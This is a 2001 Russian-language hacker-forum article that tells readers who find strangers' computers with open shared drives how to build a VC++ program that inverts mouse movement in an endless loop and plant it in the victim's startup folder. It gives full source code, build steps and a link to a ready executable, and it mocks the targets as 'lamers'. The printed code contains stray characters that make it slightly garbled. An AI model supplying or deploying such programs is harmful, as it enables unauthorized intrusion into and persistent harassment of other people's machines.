
[ Управление положением курсора или мелкие пакости ]
Date: 30.12.01
Привет кульный хацкер!
Сканишь IP'шники, находишь ламаков с отрытыми дисками, и не знаешь, что с ними делать?
Сейчас я расскажу тебе, как можно приколоться над этими пр..(не очень умными людьми).
Надо скомпилить маленькую прогу, которая будет инвертировать движение курсора, а потом
закинуть ее на винт к ламаку в папку автозагрузки.
Для написания этой проги подойдет любой язык программирования.
Я покажу, как ее написать на VC++.
Запускаем VC++. И создаем новый проект.
File>New
Выбираем тип проекта как Win32 Application и в поле Project name
прописываем имя проекта(например cursor).
Кликаем ОК. Выбираем An empty project и давим Finish.
Теперь надо добавить к нашему проекту основной файл
Project>Add To Project>New...
Выбираем из списка С++ Source File и в поле File Name пишем main.
Давим Ок. Копируем в этот файл нижеследующий код и компиляем
Build>Build
Все.
Комментарии в исходнике довольно подробные, так что вопросов не должно быть.
--------------------------------------------------------------------------------
#include // Основные функции винды
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
POINT cursor;// Сюда будем получать текущую координату курсора
int x,y,dx,dy;// несколько дополнительных переменных
GetCursorPos(&cursor);// Взять координату курсора
x=cursor.x;// Запоминаем координату по х
y=cursor.y;// Запоминаем координату по у
for(;;)// Вечный цикл :)
{
GetCursorPos(&cursor);
if((x!=cursor.x)|(y!=cursor.y))// Изменились ли координаты курсора
{
dx=cursor.x-x;// Изменение по х
dy=cursor.y-y;// Изменение по у
if(dx<0)x=x+2*(-dx);>else x=x-2*dx;// Здесь мы инвертируем движение по оси х
if(dy<0)y=y+2*(-dy);>else y=y-2*dy;// Здесь мы инвертируем движение по оси у
if(x<0)x=1;>// Необходимая проверка. Чтобы курсор не залипал
if(y<0)y=1; SetCursorPos(x,y);>// Устанавливаем новое положение курсора
}
}
return 0;
}
--------------------------------------------------------------------------------
Самые ленивые могут взять готовый exe'шник здесь
Drakula     [KODSWEB]
!!! Статья является собственностью команды KODSWEB !!!
!!! Любое распространение без нашего разрешения строго запрешено !!!
|